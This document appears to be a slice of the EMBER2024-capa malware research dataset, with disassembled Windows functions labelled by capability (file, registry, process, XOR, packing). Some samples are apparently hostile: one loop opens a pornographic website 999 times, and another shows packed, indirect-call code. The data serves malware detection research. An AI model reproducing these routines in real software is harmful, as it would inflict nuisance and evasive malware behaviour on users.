joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4082fc
Capabilities:
Create directory

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
lea eax, [ebp - 0x38]
lea edi, [ebp - 0x2c]
push ebx
sub esp, 0x3c
mov esi, dword [ebp + 8]
mov dword [ebp - 0x34], edi
mov dword [ebp - 0x2c], 0x40001
mov dword [ebp - 0x28], 0x40da70
mov dword [ebp - 0x24], 0x40da70
mov dword [ebp - 0x20], 0
mov dword [ebp - 0x1c], 0x40da60
mov dword [ebp - 0x38], 0xc
mov dword [ebp - 0x30], 0
mov dword [esp + 4], eax
mov dword [esp], esi
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
push edx
push edx
test eax, eax
je 0x408359
xor eax, eax
jmp 0x408386
mov ebx, dword [sym.imp.KERNEL32.dll_GetLastError]
call ebx
cmp eax, 0xb7
jne 0x408386
mov dword [esp + 8], edi
mov dword [esp + 4], 0x80000007
mov dword [esp], esi
call dword [sym.imp.ADVAPI32.dll_SetFileSecurityW]
sub esp, 0xc
test eax, eax
jne 0x408355
call ebx
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret 4

Function at 0x4083be
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
mov dword [0x47d1e0], 0x44
lea eax, [ebp - 0x18]
mov dword [esp + 0x20], 0x47d1e0
mov dword [esp + 0x24], eax
mov eax, dword [ebp + 8]
mov dword [esp + 0x1c], 0
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0x4000000
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], eax
mov dword [esp], 0
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
mov edx, eax
sub esp, 0x28
xor eax, eax
test edx, edx
je 0x40843c
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push eax
mov eax, dword [ebp - 0x18]
leave
ret 4

Function at 0x408440
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov dword [eax], 0x3c
mov dword [eax + 0x24], 0
pop ebp
jmp dword [sym.imp.SHELL32.dll_ShellExecuteExW]

Function at 0x4086b8
Capabilities:
Get file attributes
Set file attributes

Disassembly:
push ebp
mov ebp, esp
push esi
push ebx
sub esp, 0x10
mov esi, dword [ebp + 8]
mov dword [esp], esi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
mov ebx, eax
inc eax
push edx
je 0x4086e6
mov eax, ebx
mov dword [esp], esi
and eax, 0xfffffffe
mov dword [esp + 4], eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
push eax
push eax
lea esp, [ebp - 8]
mov eax, ebx
pop ebx
pop esi
pop ebp
ret 4

Function at 0x4086f1
Capabilities:
Delete directory
Delete file
Set file attributes

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
sub esp, 0x1c
mov ebx, dword [ebp + 8]
mov edi, dword [ebp + 0xc]
mov dword [esp], ebx
call fcn.004086b8
push ecx
cmp eax, 0xffffffff
jne 0x408712
xor edi, edi
jmp 0x40874f
mov dword [esp], ebx
mov esi, eax
test edi, 1
je 0x408747
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
push edx
test eax, eax
jne 0x408740
and edi, 4
jne 0x40870e
mov dword [esp + 4], esi
mov dword [esp], ebx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
push eax
push eax
jmp 0x40874f
mov edi, 1
jmp 0x40874f
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
jmp 0x408725
lea esp, [ebp - 0xc]
mov eax, edi
pop ebx
pop esi
pop edi
pop ebp
ret 8
Function at 0x40875b
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ebp
mov ebp, esp
push ebx
sub esp, 0x24
mov ebx, dword [ebp + 8]
mov dword [esp], ebx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
push edx
cmp eax, 0xffffffff
jne 0x408776
xor eax, eax
mov dword [esp + 0x14], eax
mov eax, dword [ebp + 0x10]
mov dword [esp], ebx
mov dword [esp + 0x10], eax
mov eax, dword [ebp + 0xc]
mov dword [esp + 0x18], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 1
mov dword [esp + 4], eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov ebx, dword [ebp - 4]
sub esp, 0x1c
leave
ret 0xc

Function at 0x4087b3
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, 0x65
push ebx
sub esp, 0x20
mov ebx, dword [ebp + 8]
dec esi
je 0x40880f
mov dword [ebp - 0x10], 0x73006e
mov dword [ebp - 0xc], 0x61
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov ecx, 0x1a
xor edx, edx
mov dword [esp + 0xc], ebx
div ecx
mov dword [esp + 8], 0
lea eax, [ebp - 0x10]
mov dword [esp + 4], eax
mov eax, dword [ebp + 0xc]
mov dword [esp], eax
add word [ebp - 0xc], dx
call dword [sym.imp.KERNEL32.dll_GetTempFileNameW]
sub esp, 0x10
test eax, eax
je 0x4087c3
jmp 0x408816
mov word [ebx], 0
xor ebx, ebx
lea esp, [ebp - 8]
mov eax, ebx
pop ebx
pop esi
pop ebp
ret 8

Function at 0x408821
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push ebx
lea eax, [ebp - 0xc]
sub esp, 0x34
mov ebx, dword [ebp + 0x10]
mov dword [esp + 0xc], eax
mov eax, dword [ebp + 0xc]
mov dword [esp + 0x10], 0
mov dword [esp + 4], eax
mov eax, dword [ebp + 8]
mov dword [esp + 8], ebx
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
sub esp, 0x14
test eax, eax
je 0x408860
xor eax, eax
cmp dword [ebp - 0xc], ebx
sete al
mov ebx, dword [ebp - 4]
leave
ret 0xc

Function at 0x408867
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ebx
lea eax, [ebp - 0xc]
sub esp, 0x34
mov ebx, dword [ebp + 0x10]
mov dword [esp + 0xc], eax
mov eax, dword [ebp + 0xc]
mov dword [esp + 0x10], 0
mov dword [esp + 4], eax
mov eax, dword [ebp + 8]
mov dword [esp + 8], ebx
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
sub esp, 0x14
test eax, eax
je 0x4088a6
xor eax, eax
cmp dword [ebp - 0xc], ebx
sete al
mov ebx, dword [ebp - 4]
leave
ret 0xc
Function at 0x408adc
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push esi
push ebx
sub esp, 0x30
mov eax, dword [ebp + 0x18]
mov ebx, dword [ebp + 0x14]
mov dword [ebp - 0x10], 0x4000
test eax, eax
je 0x408afa
mov eax, 0x100
or eax, 0x20019
lea edx, [ebp - 0x14]
mov dword [esp + 8], eax
mov eax, dword [ebp + 0xc]
mov dword [esp + 0xc], edx
mov dword [esp + 4], eax
mov eax, dword [ebp + 8]
mov dword [esp], eax
call fcn.00408a18
sub esp, 0x10
test eax, eax
je 0x408b2a
mov word [ebx], 0
jmp 0x408b7f
lea eax, [ebp - 0x10]
mov dword [esp + 0x10], ebx
mov dword [esp + 0x14], eax
lea eax, [ebp - 0xc]
mov dword [esp + 0xc], eax
mov eax, dword [ebp + 0x10]
mov dword [esp + 8], 0
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
mov esi, eax
mov eax, dword [ebp - 0x14]
sub esp, 0x18
mov dword [esp], eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push eax
mov word [ebx + 0x3ffe], 0
test esi, esi
jne 0x408b23
mov eax, dword [ebp - 0xc]
dec eax
cmp eax, 1
ja 0x408b23
lea esp, [ebp - 8]
pop ebx
pop esi
pop ebp
ret 0x14
Function at 0x40913c
Capabilities:
Get file size

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
sub esp, 0x2c
mov esi, dword [ebp + 0xc]
mov ebx, dword [sym.imp.KERNEL32.dll_GetShortPathNameW]
mov dword [0x4749e0], 0x55004e
mov dword [0x4749e4], 0x4c
test esi, esi
jne 0x409195
mov eax, dword [ebp + 8]
mov dword [esp + 8], 0x400
mov dword [esp + 4], 0x4741e0
mov dword [esp], eax
call ebx
sub esp, 0xc
test eax, eax
je 0x409389
cmp eax, 0x400
jle 0x4091e6
jmp 0x409389
mov dword [esp + 8], 1
mov dword [esp + 4], 0
mov dword [esp], esi
call fcn.0040875b
sub esp, 0xc
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push eax
mov dword [esp + 8], 0x400
mov dword [esp + 4], 0x4749e0
mov dword [esp], esi
call ebx
sub esp, 0xc
test eax, eax
je 0x409389
cmp eax, 0x400
jle 0x409166
jmp 0x409389
mov dword [esp + 0xc], 0x4741e0
mov dword [esp + 8], 0x4749e0
mov dword [esp + 4], str._ls_ls_r_n
mov dword [esp], 0x473de0
call dword [sym.imp.USER32.dll_wsprintfA]
mov dword [ebp - 0x1c], eax
mov eax, dword [0x42a130]
mov eax, dword [eax + 0x128]
mov dword [esp], 0x4741e0
mov dword [esp + 4], eax
call fcn.00408e14
push edi
push edi
mov dword [esp + 8], 4
mov dword [esp + 4], 0xc0000000
mov dword [esp], 0x4741e0
call fcn.0040875b
sub esp, 0xc
mov edi, eax
cmp eax, 0xffffffff
je 0x409389
mov dword [esp + 4], 0
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov ebx, eax
mov eax, dword [ebp - 0x1c]
push ecx
push ecx
add eax, ebx
mov dword [ebp - 0x24], eax
add eax, 0xa
mov dword [esp + 4], eax
mov dword [esp], 0x40
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
push esi
push esi
mov esi, eax
test eax, eax
je 0x40937f
mov dword [esp + 8], ebx
mov dword [esp + 4], eax
mov dword [esp], edi
call fcn.00408821
sub esp, 0xc
test eax, eax
je 0x40937f
mov dword [esp + 4], str._Rename__r_n
mov dword [esp], esi
call fcn.00408630
push edx
push edx
lea edx, [esi + ebx]
test eax, eax
jne 0x4092e0
mov dword [esp + 4], str._Rename__r_n
add ebx, 0xa
mov dword [esp], edx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov ecx, ebx
push eax
push eax
jmp 0x40931f
add eax, 0xa
mov dword [esp + 4], 0x40d48b
mov dword [esp], eax
mov dword [ebp - 0x28], edx
call fcn.00408630
mov dword [ebp - 0x20], eax
push ecx
push ecx
mov ecx, ebx
test eax, eax
je 0x40931f
mov ecx, dword [ebp - 0x24]
mov edx, dword [ebp - 0x28]
add ecx, esi
cmp edx, dword [ebp - 0x20]
jbe 0x409317
mov al, byte [edx]
dec edx
dec ecx
mov byte [ecx + 1], al
jmp 0x409309
mov eax, dword [ebp - 0x20]
sub eax, esi
lea ecx, [eax + 1]
mov eax, dword [ebp - 0x1c]
add ecx, esi
mov dword [esp + 4], 0x473de0
mov dword [esp], ecx
mov dword [esp + 8], eax
call fcn.0040869b
add ebx, dword [ebp - 0x1c]
sub esp, 0xc
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov dword [esp], edi
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
sub esp, 0x10
mov dword [esp + 8], ebx
mov dword [esp + 4], esi
mov dword [esp], edi
call fcn.00408867
sub esp, 0xc
mov dword [esp], esi
call dword [sym.imp.KERNEL32.dll_GlobalFree]
push edx
mov dword [esp], edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push eax
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret
Function at 0x409713
Capabilities:
Get file attributes

Disassembly:
push ebp
mov ebp, esp
push ebx
sub esp, 0x14
mov eax, dword [ebp + 8]
mov dword [esp], 0x4751e0
mov dword [esp + 4], eax
call fcn.00408c6f
push ebx
push ebx
mov dword [esp], 0x4751e0
call fcn.0040859c
push edx
test eax, eax
jne 0x409744
xor eax, eax
jmp 0x4097c0
mov dword [esp], eax
mov ebx, eax
call fcn.00408d37
push ecx
test byte [0x42a12c], 0x80
je 0x409766
mov ax, word [ebx]
test ax, ax
je 0x409740
cmp ax, 0x5c
je 0x409740
sub ebx, 0x4751e0
sar ebx, 1
mov dword [esp], 0x4751e0
call dword [sym.imp.KERNEL32.dll_lstrlenW]
push ecx
mov dword [esp], 0x4751e0
cmp ebx, eax
jge 0x4097a5
call fcn.004096db
push edx
test eax, eax
je 0x409796
test byte [eax], 0x10
je 0x409740
mov dword [esp], 0x4751e0
call fcn.0040852a
push eax
jmp 0x40976e
call fcn.00408ca3
push eax
mov dword [esp], 0x4751e0
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
inc eax
push edx
setne al
movzx eax, al
mov ebx, dword [ebp - 4]
leave
ret 4
Function at 0x409aaf
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
push ebx
lea ebx, [ebp - 0x244]
sub esp, 0x254
mov dword [esp + 4], 0x104
mov dword [esp], ebx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
push edx
push edx
lea edx, [eax - 1]
cmp edx, 0x103
ja 0x409aed
xor edx, edx
cmp word [ebp + eax*2 - 0x246], 0x5c
sete dl
jmp 0x409af4
xor eax, eax
mov edx, 1
mov ecx, dword [ebp + 8]
add edx, edx
add eax, eax
mov dword [esp + 4], str._s_S.dll
add edx, 0x40d460
add eax, ebx
mov dword [esp + 0xc], ecx
mov dword [esp + 8], edx
mov dword [esp], eax
call dword [sym.imp.USER32.dll_wsprintfW]
mov dword [esp], ebx
mov dword [esp + 8], 8
mov dword [esp + 4], 0
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov ebx, dword [ebp - 4]
sub esp, 0xc
leave
ret 4

Function at 0x409c94
Capabilities:
Hash data with crc32

Disassembly:
push ebp
cmp dword [0x47d244], 0
mov ebp, esp
push esi
mov edx, dword [ebp + 0xc]
push ebx
jne 0x409cd1
xor ecx, ecx
mov eax, ecx
mov ebx, 8
mov esi, eax
shr esi, 1
and eax, 1
je 0x409cbc
mov eax, 0xedb88320
xor eax, esi
dec ebx
jne 0x409cae
mov dword [ecx*4 + 0x47d240], eax
inc ecx
cmp ecx, 0x100
jne 0x409ca7
mov eax, dword [ebp + 8]
mov ebx, dword [ebp + 0x10]
not eax
add ebx, edx
cmp edx, ebx
je 0x409cf3
mov cl, byte [edx]
inc edx
xor ecx, eax
shr eax, 8
movzx ecx, cl
xor eax, dword [ecx*4 + 0x47d240]
jmp 0x409cdb
pop ebx
not eax
pop esi
pop ebp
ret 0xc

Function at 0x401000
Capabilities:
Execute command

Disassembly:
push esi
push edi
mov edi, dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov esi, 0x3e7
nop dword [eax]
push str.start_www.pornhub.com
call edi
add esp, 4
sub esi, 1
jne 0x401010
pop edi
pop esi
xor eax, eax
ret

Function at 0x401829
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x401868
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x401868
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x401868
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x401868
cmp dword [ecx + 0x74], 0xe
jbe 0x401868
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret
Function at 0x4011c0
Capabilities:
Inspect load icon resource

Disassembly:
push ebp
mov ebp, esp
push ecx
mov dword [0x43dba0], 0x24e1
mov eax, dword [0x43dba0]
sub eax, 0x24e1
mov dword [0x43dba0], eax
mov ecx, 1
test ecx, ecx
je 0x40126b
mov edx, dword [0x43dba0]
cmp edx, dword [ebp + 0xc]
jb 0x4011f7
jmp 0x40126b
cmp dword [0x43dba0], 0
jne 0x401215
push 0x263
push 0
call dword [sym.imp.USER32.dll_LoadIconW]
test eax, eax
je 0x401215
xor eax, eax
jmp 0x40126b
mov eax, dword [ebp + 8]
add eax, dword [0x43dba0]
mov ecx, dword [eax]
add ecx, dword [0x43dba0]
mov edx, dword [ebp + 8]
add edx, dword [0x43dba0]
mov dword [edx], ecx
mov dword [ebp - 4], 0x7d06f
mov eax, dword [0x43dba0]
mov ecx, dword [ebp - 4]
lea edx, [ecx + eax + 2]
push edx
mov eax, dword [ebp + 8]
add eax, dword [0x43dba0]
push eax
call fcn.00401270
add esp, 8
mov ecx, dword [0x43dba0]
add ecx, 4
mov dword [0x43dba0], ecx
jmp 0x4011dd
mov esp, ebp
pop ebp
ret

Function at 0x4014d0
Capabilities:
Get common file path
Packed with generic packer

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xa00
push ebx
push esi
push edi
mov dword [ebp - 4], 0
mov dword [ebp - 0x79c], 4
mov dword [ebp - 0x784], 0x80000000
mov dword [ebp - 0x798], 0x20019
mov eax, dword [sym.imp.KERNEL32.dll_ReadFile]
mov dword [ebp - 0x72c], eax
mov dword [ebp - 0x1c], 0
lea ecx, [ebp - 0x1c]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetCPInfo]
cmp dword [ebp - 0x1c], 0
jne 0x40152c
xor eax, eax
jmp 0x401908
pushal
mov dword [ebp - 0x20], 0
mov dword [ebp - 4], 0
mov dword [ebp - 0x30], 0
mov dword [ebp - 0x790], 0x64
mov dword [ebp - 0x28], 0x1f
mov dword [ebp - 0x20], 0
mov dword [ebp - 4], 0
mov dword [ebp - 0x30], 0
mov dword [ebp - 0x790], 0x64
mov dword [ebp - 0x28], 0x1f
mov dword [ebp - 0x7ec], str.SOFTWAREmmasses
mov dword [ebp - 0x20], 0
mov dword [ebp - 4], 0
mov dword [ebp - 0x30], 0
mov dword [ebp - 0x790], 0x64
mov dword [ebp - 0x28], 0x1f
call fcn.004014a0
mov edx, 0x43
mov eax, dword [ebp - 0x7ec]
mov word [eax + 0x12], dx
mov ecx, 0x6c
mov edx, dword [ebp - 0x7ec]
mov word [edx + 0x14], cx
lea eax, [ebp - 0x34]
push eax
push 1
push 0
mov ecx, dword [ebp - 0x7ec]
push ecx
push 0x80000002
call dword [0x43dba8]
test eax, eax
je 0x4015f1
xor eax, eax
jmp 0x401908
lea edx, [ebp - 0x34]
push edx
push 1
push 0
push str.clsid083863f1_70de_11d0_bd40_00a0c911ce86instance129d7e40_c10d_11d0_afb9_00aa00b67a42
push 0x80000000
call dword [0x43dba8]
test eax, eax
je 0x401614
xor eax, eax
jmp 0x401908
push 0x7f00
push 0
call dword [sym.imp.USER32.dll_LoadIconA]
test eax, eax
jne 0x40162c
xor eax, eax
jmp 0x401908
push 1
mov eax, dword [0x43dba4]
push eax
jmp 0x45b01e
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x10003cae
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub dword [ebp + 0xc], 1
jne 0x10003cd2
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_DisableThreadLibraryCalls]
xor eax, eax
push eax
push eax
push eax
push 0x10004355
push eax
push eax
call dword [sym.imp.KERNEL32.dll_CreateThread]
xor eax, eax
inc eax
pop ebp
ret 0xc

Function at 0x10003cd9
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov eax, dword [0x1024b600]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, ecx
xor eax, eax
push esi
push edi
mov dword [ebp - 8], ebx
mov edi, ebx
mov dword [ebp - 8], ebx
mov esi, edx
push 0x2533
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
xor edi, edi
mov dword [ebx], edi
mov dword [ebx + 4], edi
mov dword [ebx + 8], edi
call fcn.1000605f
cmp dword [esi + 0x14], 7
jbe 0x10003d19
mov esi, dword [esi]
push edi
push 0x80
push 3
push edi
push 1
push 0x80000000
push esi
call dword [sym.imp.KERNEL32.dll_CreateFileW]
push edi
push edi
mov esi, eax
push 0x292a71
push esi
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push edi
lea eax, [ebp - 8]
push eax
push 0x2533
push dword [ebx]
push esi
call dword [sym.imp.KERNEL32.dll_ReadFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 4]
mov eax, ebx
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.1006d7ba
leave
ret
Function at 0x10013050
Capabilities:
Encode data using xor

Disassembly:
sub esp, 0x20
mov edx, dword [esp + 0x2c]
xorps xmm0, xmm0
mov ecx, dword [esp + 0x38]
push ebx
push ebp
mov ebp, dword [esp + 0x3c]
push esi
mov esi, dword [esp + 0x3c]
movlpd qword [esp + 0x24], xmm0
mov eax, dword [esp + 0x28]
mov ebx, dword [esp + 0x24]
push edi
mov edi, 0xff
mov dword [esp + 0x14], 0
mov dword [esp + 0x18], edi
mov dword [esp + 0x1c], 0x10
mov dword [esp + 0x10], eax
xor ebp, edx
xor edi, ebx
mov ebx, dword [esp + 0x14]
xor ecx, esi
xor ebx, dword [esp + 0x10]
mov eax, ebp
mov ebp, dword [esp + 0x38]
xor esi, ebx
xor edx, edi
mov dword [esp + 0x28], esi
mov dword [esp + 0x24], edx
mov dword [ebp + 4], esi
mov esi, dword [esp + 0x18]
mov dword [ebp], edx
xor esi, eax
mov edx, dword [esp + 0x14]
mov dword [ebp + 8], esi
xor edx, ecx
mov dword [ebp + 0xc], edx
mov ebp, dword [esp + 0x18]
mov dword [esp + 0x20], esi
mov esi, dword [esp + 0x14]
mov dword [esp + 0x10], esi
shld dword [esp + 0x10], ebp, 0x11
xor dword [esp + 0x10], ecx
mov ecx, dword [esp + 0x10]
mov esi, dword [esp + 0x20]
mov dword [esp + 0x10], edi
shl dword [esp + 0x10], 0xd
shrd edi, ebx, 0x13
shl ebp, 0x11
xor ebp, eax
mov dword [esp + 0x14], 0
or dword [esp + 0x14], edi
mov eax, dword [esp + 0x38]
mov edi, dword [esp + 0x10]
shr ebx, 0x13
or edi, ebx
mov dword [esp + 0x18], esi
sub dword [esp + 0x1c], 1
mov ebx, dword [esp + 0x14]
mov dword [esp + 0x10], edi
mov dword [eax + 0x1c], edi
mov edi, esi
mov esi, dword [esp + 0x28]
mov dword [esp + 0x14], edx
mov edx, dword [esp + 0x24]
mov dword [eax + 0x10], ebp
mov dword [eax + 0x14], ecx
mov dword [eax + 0x18], ebx
jne 0x10013095
push dword [esp + 0x40]
mov esi, dword [esp + 0x38]
push dword [esp + 0x40]
push esi
call fcn.10007ca0
push dword [esp + 0x54]
push dword [esp + 0x54]
push esi
call fcn.10007ca0
add esp, 0x18
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x20
ret
Function at 0x10015bb0
Capabilities:
Read file on windows

Disassembly:
sub esp, 0x21c
mov eax, dword [0x1024b600]
xor eax, esp
mov dword [esp + 0x218], eax
push ebx
mov ebx, dword [esp + 0x228]
push ebp
push esi
push edi
mov edi, dword [esp + 0x230]
push edi
call fcn.100077b0
push ebx
mov esi, eax
call fcn.1007bdd1
add esp, 8
sub esi, 1
jne 0x10015c07
push 1
push ebx
push edi
call fcn.100162f0
mov ebp, dword [esp + 0x244]
add esp, 0xc
mov esi, eax
inc ebp
jmp 0x10015d8e
push str.too_many_arguments
lea eax, [esi + 0x14]
push eax
push edi
call fcn.1000a0e0
mov ebp, dword [esp + 0x244]
mov eax, 1
add esp, 0xc
mov dword [esp + 0x10], eax
nop dword [eax]
dec esi
mov dword [esp + 0x14], esi
test eax, eax
je 0x10015d8a
push ebp
push edi
call fcn.10008780
add esp, 8
cmp eax, 3
jne 0x10015cd2
push ebp
push edi
call fcn.10009f30
mov esi, eax
add esp, 8
test esi, esi
jne 0x10015c8e
push ebx
call fcn.10074667
mov esi, eax
push ebx
push esi
call fcn.1007d2e9
push 0x10238604
push edi
call fcn.10007d70
xor eax, eax
add esp, 0x14
cmp esi, 0xffffffff
mov esi, dword [esp + 0x14]
setne al
jmp 0x10015d7d
lea eax, [esp + 0x18]
push eax
push edi
call fcn.10009e90
lea eax, [esp + 0x20]
push esi
push eax
call fcn.1000ab00
push ebx
push esi
push 1
push eax
call fcn.1007429e
mov esi, eax
lea eax, [esp + 0x38]
add dword [esp + 0x40], esi
push eax
call fcn.1000ab20
xor eax, eax
add esp, 0x24
cmp eax, esi
mov esi, dword [esp + 0x14]
sbb eax, eax
neg eax
jmp 0x10015d7d
push 0
push ebp
push edi
call fcn.10009fa0
add esp, 0xc
mov cl, byte [eax]
cmp cl, 0x2a
jne 0x10015ce8
mov cl, byte [eax + 1]
movsx eax, cl
add eax, 0xffffffb4
cmp eax, 0x22
ja case.0x10015cfe.77
movzx eax, byte [eax + 0x10015e08]
jmp dword [eax*4 + 0x10015df4]
push ebx
push edi
call fcn.10016410
add esp, 8
jmp 0x10015d7d
push 1
push ebx
push edi
call fcn.100162f0
add esp, 0xc
jmp 0x10015d7d
push 0
push ebx
push edi
call fcn.100162f0
add esp, 0xc
jmp 0x10015d7d
lea eax, [esp + 0x18]
push eax
push edi
call fcn.10009e90
add esp, 8
nop dword [eax + eax]
lea eax, [esp + 0x18]
push 0x200
push eax
call fcn.1000ab00
push ebx
push 0x200
push 1
push eax
call fcn.1007429e
add dword [esp + 0x38], eax
add esp, 0x18
cmp eax, 0x200
je 0x10015d40
lea eax, [esp + 0x18]
push eax
call fcn.1000ab20
add esp, 4
mov eax, 1
inc ebp
mov dword [esp + 0x10], eax
test esi, esi
jne 0x10015c30
mov esi, dword [esp + 0x10]
push ebx
call fcn.10073b85
add esp, 4
test eax, eax
je 0x10015dbb
push 0
push 0
push edi
call fcn.1000a390
add esp, 0xc
jmp 0x10015dd9
push str.invalid_format
push ebp
push edi
call fcn.10009d60
add esp, 0xc
jmp 0x10015dd9
test esi, esi
jne 0x10015dd0
push 0xfffffffffffffffe
push edi
call fcn.10008360
push edi
call fcn.10007d40
add esp, 0xc
sub ebp, dword [esp + 0x238]
mov eax, ebp
mov ecx, dword [esp + 0x228]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.1006d7ba
add esp, 0x21c
ret
Function at 0x10018980
Capabilities:
Check http status code

Disassembly:
sub esp, 0xd8
mov eax, dword [0x1024b600]
xor eax, esp
mov dword [esp + 0xd4], eax
push ebx
push ebp
mov ebp, dword [esp + 0xe8]
lea eax, [esp + 8]
push esi
push edi
mov edi, dword [esp + 0xec]
push eax
push edi
call fcn.10017e90
mov esi, eax
add esp, 8
test esi, esi
je 0x100189d4
mov ecx, dword [esp + 0x10]
sub esi, edi
mov edx, dword [esp + 0x14]
mov al, 3
mov dword [ebp], ecx
mov dword [ebp + 4], edx
mov byte [ebp + 8], al
lea eax, [esi + 1]
jmp 0x100189f3
push 0x10154778
push edi
call fcn.1007a010
add esp, 8
test eax, eax
je 0x10018a0c
movzx ebx, byte [eax]
or ebx, 0x20
cmp ebx, 0x6e
jne 0x10018a0e
xor eax, eax
mov ecx, dword [esp + 0xe4]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.1006d7ba
add esp, 0xd8
ret
xor ebx, ebx
push ebx
lea eax, [esp + 0x14]
push eax
push edi
call fcn.10017e40
mov esi, eax
add esp, 0xc
test esi, esi
jne 0x10018aab
push 0x2e
push edi
call fcn.1006fdb0
mov esi, eax
add esp, 8
test esi, esi
je 0x100189f1
mov ecx, edi
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x10018a40
sub ecx, edx
cmp ecx, 0xc8
ja 0x100189f1
lea edx, [esp + 0x18]
mov ecx, edi
sub edx, edi
nop dword [eax]
mov al, byte [ecx]
lea ecx, [ecx + 1]
mov byte [edx + ecx - 1], al
test al, al
jne 0x10018a60
call fcn.10079fdf
sub esi, edi
push ebx
mov eax, dword [eax]
mov al, byte [eax]
mov byte [esp + esi + 0x1c], al
lea eax, [esp + 0x14]
push eax
lea eax, [esp + 0x20]
push eax
call fcn.10017e40
mov esi, eax
add esp, 0xc
test esi, esi
je 0x100189f1
mov eax, edi
lea ecx, [esp + 0x18]
sub eax, ecx
add esi, eax
test esi, esi
je 0x100189f1
movsd xmm0, qword [esp + 0x10]
sub esi, edi
mov al, 0x13
movsd qword [ebp], xmm0
mov byte [ebp + 8], al
lea eax, [esi + 1]
jmp 0x100189f3